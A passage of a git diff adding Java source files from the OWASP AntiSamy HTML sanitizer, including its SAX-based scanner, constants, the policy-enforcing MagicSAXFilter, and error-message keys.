+ eleAsString.append(HTMLEntityEncoder.htmlEntityEncode(value));
+ eleAsString.append("\"");
+ }
+ if (ele.hasChildNodes()) {
+ eleAsString.append(">");
+ } else {
+ eleAsString.append("/>");
+ }
+ return eleAsString.toString();
+ }
+
+ public CleanResults getResults() {
+ return results;
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/AntiSamySAXScanner.java b/src/main/java/org/owasp/validator/html/scan/AntiSamySAXScanner.java
new file mode 100644
index 0000000..63f04c7
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/AntiSamySAXScanner.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.scan;
+
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.util.Queue;
+import java.util.concurrent.ConcurrentLinkedQueue;
+
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerConfigurationException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.sax.SAXResult;
+import javax.xml.transform.sax.SAXSource;
+
+import org.apache.xerces.xni.parser.XMLDocumentFilter;
+import org.cyberneko.html.parsers.SAXParser;
+import org.owasp.validator.html.CleanResults;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.ScanException;
+import org.owasp.validator.html.util.ErrorMessageUtil;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXNotRecognizedException;
+import org.xml.sax.SAXNotSupportedException;
+
+public class AntiSamySAXScanner extends AbstractAntiSamyScanner {
+
+ private static final Queue<CachedItem> cachedItems = new ConcurrentLinkedQueue<CachedItem>();
+
+ private static final TransformerFactory sTransformerFactory = TransformerFactory.newInstance();
+
+ static class CachedItem {
+ private final Transformer transformer;
+ private final SAXParser saxParser;
+ private final MagicSAXFilter magicSAXFilter;
+
+ CachedItem(Transformer transformer, SAXParser saxParser, MagicSAXFilter magicSAXFilter) {
+ this.transformer = transformer;
+ this.saxParser = saxParser;
+ this.magicSAXFilter = magicSAXFilter;
+ XMLDocumentFilter[] filters = { magicSAXFilter };
+ try {
+ saxParser.setProperty("http://cyberneko.org/html/properties/filters", filters);
+ } catch (SAXNotRecognizedException e) {
+ throw new RuntimeException(e);
+ } catch (SAXNotSupportedException e) {
+ throw new RuntimeException(e);
+ }
+
+ }
+ }
+ public AntiSamySAXScanner(Policy policy) {
+ super(policy);
+ }
+
+ public CleanResults getResults() {
+ return null;
+ }
+
+ public CleanResults scan(String html) throws ScanException {
+
+ if (html == null) {
+ throw new ScanException(new NullPointerException("Null input"));
+ }
+
+ int maxInputSize = policy.getMaxInputSize();
+
+ if (html.length() > maxInputSize) {
+ addError(ErrorMessageUtil.ERROR_INPUT_SIZE, new Object[] {html.length(), maxInputSize});
+ throw new ScanException(errorMessages.get(0));
+ }
+
+ try {
+
+ StringWriter out = new StringWriter();
+
+ CachedItem cachedItem = cachedItems.poll();
+ if (cachedItem == null){
+ cachedItem = new CachedItem(getNewTransformer(), getParser(), new MagicSAXFilter(messages));
+ }
+
+ SAXParser parser = cachedItem.saxParser;
+ cachedItem.magicSAXFilter.reset(policy);
+
+ long startOfScan = System.currentTimeMillis();
+
+ SAXSource source = new SAXSource(parser, new InputSource(new StringReader(html)));
+
+ Transformer transformer = cachedItem.transformer;
+ boolean formatOutput = policy.isFormatOutput();
+ boolean useXhtml = policy.isUseXhtml();
+ boolean omitXml = policy.isOmitXmlDeclaration();
+
+ transformer.setOutputProperty(OutputKeys.INDENT, formatOutput ? "yes" : "no");
+ transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, omitXml ? "yes" : "no");
+ transformer.setOutputProperty(OutputKeys.METHOD, useXhtml ? "xml" : "html");
+
+ //noinspection deprecation
+ org.apache.xml.serialize.OutputFormat format = getOutputFormat();
+ //noinspection deprecation
+ org.apache.xml.serialize.HTMLSerializer serializer = getHTMLSerializer(out, format);
+ transformer.transform(source, new SAXResult(serializer));
+
+ String cleanHtml = trim(html, out.getBuffer().toString());
+
+ errorMessages.clear();
+ errorMessages.addAll(cachedItem.magicSAXFilter.getErrorMessages());
+ cachedItems.add( cachedItem);
+ return new CleanResults(startOfScan, cleanHtml, null, errorMessages);
+
+ } catch (Exception e) {
+ throw new ScanException(e);
+ }
+
+ }
+
+ /**
+ * Return a new Transformer instance. This is wrapped in a synchronized method because there is
+ * no guarantee that the TransformerFactory is thread-safe
+ *
+ * @return a new Transformer instance.
+ */
+ private static synchronized Transformer getNewTransformer() {
+ try {
+ return sTransformerFactory.newTransformer();
+ } catch (TransformerConfigurationException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private static SAXParser getParser() {
+ try {
+ SAXParser parser = new SAXParser();
+ parser.setFeature("http://xml.org/sax/features/namespaces", false);
+ parser.setFeature("http://cyberneko.org/html/features/balance-tags/document-fragment", true);
+ parser.setFeature("http://cyberneko.org/html/features/scanner/cdata-sections", true);
+ parser.setFeature("http://apache.org/xml/features/scanner/notify-char-refs", true);
+ parser.setFeature("http://apache.org/xml/features/scanner/notify-builtin-refs", true);
+
+
+ parser.setProperty("http://cyberneko.org/html/properties/names/elems", "lower");
+ return parser;
+ } catch (SAXNotRecognizedException e) {
+ throw new RuntimeException(e);
+ } catch (SAXNotSupportedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/Constants.java b/src/main/java/org/owasp/validator/html/scan/Constants.java
new file mode 100644
index 0000000..082b65e
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/Constants.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.html.scan;
+
+import java.util.*;
+
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.model.Attribute;
+import org.owasp.validator.html.model.Tag;
+
+public class Constants {
+
+ public static final String DEFAULT_ENCODING_ALGORITHM = "UTF-8";
+ public static final Tag BASIC_PARAM_TAG_RULE;
+ public static List<String> defaultAllowedEmptyTags;
+ public static List<String> defaultRequiresClosingTags;
+
+ private static final String[] allowedEmptyTags = {
+ "br", "hr", "a", "img", "link", "iframe", "script", "object", "applet",
+ "frame", "base", "param", "meta", "input", "textarea", "embed",
+ "basefont", "col"
+ };
+
+ private static final String[] requiresClosingTags = {
+ "iframe", "script", "link"
+ };
+
+ static {
+ Attribute paramNameAttr = new Attribute("name", Arrays.asList(Policy.ANYTHING_REGEXP), Collections.<String>emptyList(), null, null );
+ Attribute paramValueAttr = new Attribute("value", Arrays.asList(Policy.ANYTHING_REGEXP), Collections.<String>emptyList(), null, null );
+
+ Map<String, Attribute> attrs = new HashMap<String, Attribute>();
+ attrs.put(paramNameAttr.getName().toLowerCase(), paramNameAttr);
+ attrs.put(paramValueAttr.getName().toLowerCase(), paramValueAttr);
+ BASIC_PARAM_TAG_RULE = new Tag("param", attrs, Policy.ACTION_VALIDATE);
+
+ defaultAllowedEmptyTags = new ArrayList<String>();
+ defaultAllowedEmptyTags.addAll(Arrays.asList(allowedEmptyTags));
+
+ defaultRequiresClosingTags = new ArrayList<String>();
+ defaultRequiresClosingTags.addAll(Arrays.asList(requiresClosingTags));
+ }
+
+ public static final String DEFAULT_LOCALE_LANG = "en";
+ public static final String DEFAULT_LOCALE_LOC = "US";
+
+ public static final String big5CharsToEncode = "<>\"'&";
+ public static final Set<Integer> big5CharsToEncodeSet = new HashSet<Integer>(){
+ {
+ for (int i = 0; i <big5CharsToEncode.length(); i++){
+ add((int) big5CharsToEncode.charAt(i));
+ }
+ }
+ };
+
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/MagicSAXFilter.java b/src/main/java/org/owasp/validator/html/scan/MagicSAXFilter.java
new file mode 100644
index 0000000..df50a16
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/MagicSAXFilter.java
@@ -0,0 +1,403 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.scan;
+
+import java.util.*;
+import java.util.regex.Pattern;
+
+import org.apache.xerces.util.AugmentationsImpl;
+import org.apache.xerces.util.XMLAttributesImpl;
+import org.apache.xerces.util.XMLStringBuffer;
+import org.apache.xerces.xni.Augmentations;
+import org.apache.xerces.xni.QName;
+import org.apache.xerces.xni.XMLAttributes;
+import org.apache.xerces.xni.XMLString;
+import org.apache.xerces.xni.XNIException;
+import org.apache.xerces.xni.parser.XMLDocumentFilter;
+import org.cyberneko.html.filters.DefaultFilter;
+import org.owasp.validator.css.CssScanner;
+import org.owasp.validator.css.ExternalCssScanner;
+import org.owasp.validator.html.CleanResults;
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.ScanException;
+import org.owasp.validator.html.model.Attribute;
+import org.owasp.validator.html.model.Tag;
+import org.owasp.validator.html.util.ErrorMessageUtil;
+import org.owasp.validator.html.util.HTMLEntityEncoder;
+
+/**
+ * Implementation of an HTML-filter that adheres to an AntiSamy policy. This
+ * filter is SAX-based which means it is much more memory-efficient and also a
+ * bit faster than the DOM-based implementation.
+ */
+public class MagicSAXFilter extends DefaultFilter implements XMLDocumentFilter {
+
+ private static enum Ops {
+ CSS, FILTER, REMOVE, TRUNCATE, KEEP
+ }
+ private final Stack<Ops> operations = new Stack<Ops>();
+ private List<String> errorMessages = new ArrayList<String>();
+ private StringBuffer cssContent = null;
+ private XMLAttributes cssAttributes = null;
+ private CssScanner cssScanner = null;
+ private InternalPolicy policy;
+ private ResourceBundle messages;
+
+ private boolean isNofollowAnchors;
+ private boolean isValidateParamAsEmbed;
+ private boolean inCdata = false;
+ // From policy
+ private boolean preserveComments;
+ private int maxInputSize;
+ private boolean externalCssScanner;
+
+ public MagicSAXFilter(ResourceBundle messages) {
+ this.messages = messages;
+ }
+
+ public void reset(InternalPolicy instance){
+ this.policy = instance;
+ isNofollowAnchors = policy.isNofollowAnchors();
+ isValidateParamAsEmbed = policy.isValidateParamAsEmbed();
+ preserveComments = policy.isPreserveComments();
+ maxInputSize = policy.getMaxInputSize();
+ externalCssScanner = policy.isEmbedStyleSheets();
+ operations.clear();
+ errorMessages.clear();
+ cssContent = null;
+ cssAttributes = null;
+ cssScanner = null;
+ inCdata = false;
+
+ }
+
+ public void characters(XMLString text, Augmentations augs) throws XNIException {
+ //noinspection StatementWithEmptyBody
+ Ops topOp = peekTop();
+ //noinspection StatementWithEmptyBody
+ if (topOp == Ops.REMOVE) {
+ // content is removed altogether
+ } else if (topOp == Ops.CSS) {
+ // we record the style element's text content
+ // to filter it later
+ cssContent.append(text.ch, text.offset, text.length);
+ } else {
+ // pass through all character content.
+ if ( inCdata ) {
+ String encoded = HTMLEntityEncoder.htmlEntityEncode(text.toString());
+ addError(ErrorMessageUtil.ERROR_CDATA_FOUND, new Object[]{encoded});
+ }
+ super.characters(text, augs);
+ }
+ }
+
+ private static final Pattern conditionalDirectives =
+ Pattern.compile("<?!?\\[\\s*(?:end)?if[^]]*\\]>?");
+
+ public void comment(XMLString text, Augmentations augs) throws XNIException {
+
+ if (preserveComments) {
+ String value = text.toString();
+ // Strip conditional directives regardless of the
+ // PRESERVE_COMMENTS setting.
+ if (value != null) {
+ value = conditionalDirectives.matcher(value).replaceAll("");
+ super.comment(new XMLString(value.toCharArray(), 0, value.length()), augs);
+ }
+ }
+ }
+
+ public void doctypeDecl(String root, String publicId, String systemId, Augmentations augs) throws XNIException {
+ // user supplied doctypes are ignored
+ }
+
+ public void emptyElement(QName element, XMLAttributes attributes, Augmentations augs) throws XNIException {
+ this.startElement(element, attributes, augs);
+ this.endElement(element, augs);
+ }
+
+ private Ops peekTop(){
+ return operations.empty() ? null : operations.peek();
+ }
+
+ public void endElement(QName element, Augmentations augs) throws XNIException {
+ Ops topOp = peekTop();
+ if (Ops.REMOVE == topOp) {
+ // content is removed altogether
+ operations.pop();
+ } else if (Ops.FILTER == topOp) {
+ // content is removed, but child nodes not
+ operations.pop();
+ } else if (Ops.CSS == topOp) {
+ operations.pop();
+ // now scan the CSS.
+ CssScanner cssScanner = makeCssScanner();
+ try {
+ CleanResults results = cssScanner.scanStyleSheet(cssContent.toString(), maxInputSize);
+ // report all errors found
+ errorMessages.addAll(results.getErrorMessages());
+ /*
+ * If IE gets an empty style tag, i.e. <style/> it will break
+ * all CSS on the page. I wish I was kidding. So, if after
+ * validation no CSS properties are left, we would normally be
+ * left with an empty style tag and break all CSS. To prevent
+ * that, we have this check.
+ */
+ //noinspection StatementWithEmptyBody
+ if (results.getCleanHTML() == null || results.getCleanHTML().equals("")) {
+ // we do not generate empty style elements
+ } else {
+ // XMLAttributes attributes = new XMLAttributesImpl();
+ // attributes.addAttribute(makeSimpleQname("type"), "CDATA",
+ // "text/css");
+ // start the CSS element
+
+ super.startElement(element, cssAttributes, new AugmentationsImpl());
+ // send the cleaned content
+ super.characters(new XMLStringBuffer(results.getCleanHTML()), new AugmentationsImpl());
+ // end the CSS element
+ super.endElement(element, augs);
+ }
+ } catch (ScanException e) {
+ // if the CSS is unscannable, we report the error, but skip the
+ // style element
+ addError(ErrorMessageUtil.ERROR_CSS_TAG_MALFORMED, new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(cssContent.toString())
+ });
+ } finally {
+ // reset the string buffer to allow fresh recording of next
+ // style tag
+ cssContent = null;
+ cssAttributes = null;
+ }
+ } else {
+ // keep or truncate means the end-tag stays intact
+ operations.pop();
+ super.endElement(element, augs);
+ }
+ }
+
+ private CssScanner makeCssScanner() {
+ if (cssScanner == null) {
+ cssScanner = externalCssScanner ? new ExternalCssScanner(policy, messages) : new CssScanner(policy, messages);
+ }
+ return cssScanner;
+ }
+
+ public void processingInstruction(String target, XMLString data, Augmentations augs) throws XNIException {
+ // processing instructions are being removed
+ }
+
+ public void startCDATA(Augmentations augs) throws XNIException {
+ inCdata = true;
+ super.startCDATA(augs);
+ }
+
+ public void endCDATA(Augmentations augs) throws XNIException {
+ inCdata = false;
+ super.endCDATA(augs);
+ }
+
+ public void startElement(QName element, XMLAttributes attributes, Augmentations augs) throws XNIException {
+ // see if we have a policy for this tag.
+ String tagNameLowerCase = element.localpart.toLowerCase();
+ Tag tag = policy.getTagByLowercaseName(tagNameLowerCase);
+
+ /*
+ * Handle the automatic translation of <param> to nested <embed> for IE.
+ * This is only if the "validateParamAsEmbed" directive is enabled.
+ */
+ boolean masqueradingParam = false;
+ String embedName = null;
+ String embedValue = null;
+ if (tag == null && isValidateParamAsEmbed && "param".equals(tagNameLowerCase)) {
+ Tag embedPolicy = policy.getEmbedTag();
+ if (embedPolicy != null && embedPolicy.isAction( Policy.ACTION_VALIDATE)) {
+ tag = embedPolicy;// Constants.BASIC_PARAM_TAG_RULE;
+ masqueradingParam = true;
+ // take <param name=x value=y> and turn into
+ // <embed x=y></embed>
+ embedName = attributes.getValue("name");
+ embedValue = attributes.getValue("value");
+ XMLAttributes masqueradingAttrs = new XMLAttributesImpl();
+ masqueradingAttrs.addAttribute(makeSimpleQname(embedName), "CDATA", embedValue);
+ attributes = masqueradingAttrs;
+ }
+ }
+
+ XMLAttributes validattributes = new XMLAttributesImpl();
+ Ops topOp = peekTop();
+ if (Ops.REMOVE == topOp || Ops.CSS == topOp) {
+ // we are in removal-mode, so remove this tag as well
+ // we also remove all child elements of a style element
+ this.operations.push( Ops.REMOVE);
+ } else if ((tag == null && policy.isEncodeUnknownTag()) || (tag != null && tag.isAction( "encode" ))) {
+ String name = "<" + element.localpart + ">";
+ super.characters( new XMLString( name.toCharArray(), 0, name.length() ), augs );
+ this.operations.push(Ops.FILTER);
+ } else if (tag == null) {
+ addError( ErrorMessageUtil.ERROR_TAG_NOT_IN_POLICY,
+ new Object[]{ HTMLEntityEncoder.htmlEntityEncode( element.localpart ) } );
+ this.operations.push(Ops.FILTER);
+ } else if (tag.isAction( "filter")) {
+ addError(ErrorMessageUtil.ERROR_TAG_FILTERED, new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(element.localpart)
+ });
+ this.operations.push(Ops.FILTER);
+ } else if (tag.isAction( "validate")) {
+
+ boolean isStyle = "style".endsWith(element.localpart);
+
+ if (isStyle) {
+ this.operations.push(Ops.CSS);
+ cssContent = new StringBuffer();
+ cssAttributes = attributes;
+ } else {
+ // validate all attributes, we need to do this now to find out
+ // how to deal with the element
+ boolean removeTag = false;
+ boolean filterTag = false;
+ for (int i = 0; i < attributes.getLength(); i++) {
+ String name = attributes.getQName(i);
+ String value = attributes.getValue(i);
+ String nameLower = name.toLowerCase();
+ Attribute attribute = tag.getAttributeByName(nameLower);
+ if (attribute == null) {
+ // no policy defined, perhaps it is a global attribute
+ attribute = policy.getGlobalAttributeByName(nameLower);
+ }
+ // boolean isAttributeValid = false;
+ if ("style".equalsIgnoreCase(name)) {
+ CssScanner styleScanner = makeCssScanner();
+ try {
+ CleanResults cr = styleScanner.scanInlineStyle(value, element.localpart, maxInputSize);
+ attributes.setValue(i, cr.getCleanHTML());
+ validattributes.addAttribute(makeSimpleQname(name), "CDATA", cr.getCleanHTML());
+ errorMessages.addAll(cr.getErrorMessages());
+ } catch (ScanException e) {
+ addError(ErrorMessageUtil.ERROR_CSS_ATTRIBUTE_MALFORMED, new Object[] {
+ element.localpart, HTMLEntityEncoder.htmlEntityEncode(value)
+ });
+ }
+ } else if (attribute != null) {
+ // validate the values against the policy
+ boolean isValid = false;
+ if (attribute.containsAllowedValue(value.toLowerCase())) {
+ validattributes.addAttribute(makeSimpleQname(name), "CDATA", value);
+ isValid = true;
+ }
+
+
+ if (!isValid) {
+ isValid = attribute.matchesAllowedExpression(value);
+ if (isValid) {
+ validattributes.addAttribute(makeSimpleQname(name), "CDATA", value);
+ }
+ }
+
+
+ // if value or regexp matched, attribute is already
+ // copied, but what happens if not
+ if (!isValid && "removeTag".equals(attribute.getOnInvalid())) {
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID_REMOVED,
+ new Object[] { tag.getName(), HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value) });
+
+ removeTag = true;
+
+ } else if (!isValid && ("filterTag".equals(attribute.getOnInvalid()) || masqueradingParam)) {
+
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_CAUSE_FILTER,
+ new Object[] { tag.getName(), HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value) });
+
+ filterTag = true;
+
+ } else if (!isValid) {
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_INVALID, new Object[] { tag.getName(), HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value) });
+ }
+
+ } else { // attribute == null
+ addError(ErrorMessageUtil.ERROR_ATTRIBUTE_NOT_IN_POLICY, new Object[] {
+ element.localpart, HTMLEntityEncoder.htmlEntityEncode(name), HTMLEntityEncoder.htmlEntityEncode(value)
+ });
+
+ if (masqueradingParam) {
+ filterTag = true;
+ }
+ }
+ }
+
+ if (removeTag) {
+ this.operations.push(Ops.REMOVE);
+ } else if (filterTag) {
+ this.operations.push(Ops.FILTER);
+ } else {
+
+ if (isNofollowAnchors && "a".equals(element.localpart)) {
+ validattributes.addAttribute(makeSimpleQname("rel"), "CDATA", "nofollow");
+ }
+
+ if (masqueradingParam) {
+ validattributes = new XMLAttributesImpl();
+ validattributes.addAttribute(makeSimpleQname("name"), "CDATA", embedName);
+ validattributes.addAttribute(makeSimpleQname("value"), "CDATA", embedValue);
+ }
+
+ this.operations.push(Ops.KEEP);
+ }
+ }
+ } else if (tag.isAction( "truncate")) {
+ this.operations.push(Ops.TRUNCATE);
+ } else {
+ // no options left, so the tag will be removed
+ addError(ErrorMessageUtil.ERROR_TAG_DISALLOWED, new Object[] {
+ HTMLEntityEncoder.htmlEntityEncode(element.localpart)
+ });
+ this.operations.push(Ops.REMOVE);
+ }
+ // now we know exactly what to do, let's do it
+ if ( Ops.TRUNCATE.equals( operations.peek() )) {
+ // copy the element, but remove all attributes
+ super.startElement(element, new XMLAttributesImpl(), augs);
+ } else if ( Ops.KEEP.equals(operations.peek())) {
+ // copy the element, but only copy accepted attributes
+ super.startElement(element, validattributes, augs);
+ }
+ }
+
+ private QName makeSimpleQname(String name) {
+ return new QName("", name, name, "");
+ }
+
+ private void addError(String errorKey, Object[] objs) {
+ errorMessages.add(ErrorMessageUtil.getMessage(messages, errorKey, objs));
+ }
+
+ public List<String> getErrorMessages() {
+ return errorMessages;
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/util/ErrorMessageUtil.java b/src/main/java/org/owasp/validator/html/util/ErrorMessageUtil.java
new file mode 100644
index 0000000..e3ad505
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/util/ErrorMessageUtil.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.html.util;
+
+import java.text.MessageFormat;
+import java.util.ResourceBundle;
+
+public final class ErrorMessageUtil {
+
+ public static final String ERROR_TAG_NOT_IN_POLICY = "error.tag.notfound";
+ public static final String ERROR_TAG_DISALLOWED = "error.tag.removed";
+ public static final String ERROR_TAG_FILTERED = "error.tag.filtered";
+ public static final String ERROR_TAG_ENCODED = "error.tag.encoded";
+ public static final String ERROR_TAG_EMPTY = "error.tag.empty";
+
+ public static final String ERROR_CDATA_FOUND = "error.cdata.found";
+ public static final String ERROR_PI_FOUND = "error.pi.found";
+
+ public static final String ERROR_ATTRIBUTE_CAUSE_FILTER = "error.attribute.invalid.filtered";
+ public static final String ERROR_ATTRIBUTE_CAUSE_ENCODE = "error.attribute.invalid.encoded";
+ public static final String ERROR_ATTRIBUTE_INVALID_FILTERED = "error.attribute.invalid.filtered";
+ public static final String ERROR_ATTRIBUTE_INVALID_REMOVED = "error.attribute.invalid.removed";
+ public static final String ERROR_ATTRIBUTE_NOT_IN_POLICY = "error.attribute.notfound";
+ public static final String ERROR_ATTRIBUTE_INVALID = "error.attribute.invalid";
+
+ public static final String ERROR_COMMENT_REMOVED = "error.comment.removed";
+
+ public static final String ERROR_INPUT_SIZE = "error.size.toolarge";
+
+ public static final String ERROR_CSS_ATTRIBUTE_MALFORMED = "error.css.attribute.malformed";
+ public static final String ERROR_CSS_TAG_MALFORMED = "error.css.tag.malformed";
+
+ public static final String ERROR_STYLESHEET_NOT_ALLOWED = "error.css.disallowed";
+
+ public static final String ERROR_CSS_IMPORT_DISABLED = "error.css.import.disabled";
+ public static final String ERROR_CSS_IMPORT_EXCEEDED = "error.css.import.exceeded";
+ public static final String ERROR_CSS_IMPORT_FAILURE = "error.css.import.failure";
+ public static final String ERROR_CSS_IMPORT_INPUT_SIZE = "error.css.import.toolarge";
+ public static final String ERROR_CSS_IMPORT_URL_INVALID = "error.css.import.url.invalid";
+
+ public static final String ERROR_STYLESHEET_RELATIVE = "error.css.stylesheet.relative";
+ public static final String ERROR_CSS_TAG_RELATIVE = "error.css.tag.relative";
+
+ public static final String ERROR_STYLESHEET_RULE_NOTFOUND = "error.css.stylesheet.rule.notfound";
+ public static final String ERROR_CSS_TAG_RULE_NOTFOUND = "error.css.tag.rule.notfound";
+
+ public static final String ERROR_STYLESHEET_SELECTOR_NOTFOUND = "error.css.stylesheet.selector.notfound";
+ public static final String ERROR_CSS_TAG_SELECTOR_NOTFOUND = "error.css.tag.selector.notfound";
+
+ public static final String ERROR_STYLESHEET_SELECTOR_DISALLOWED = "error.css.stylesheet.selector.disallowed";
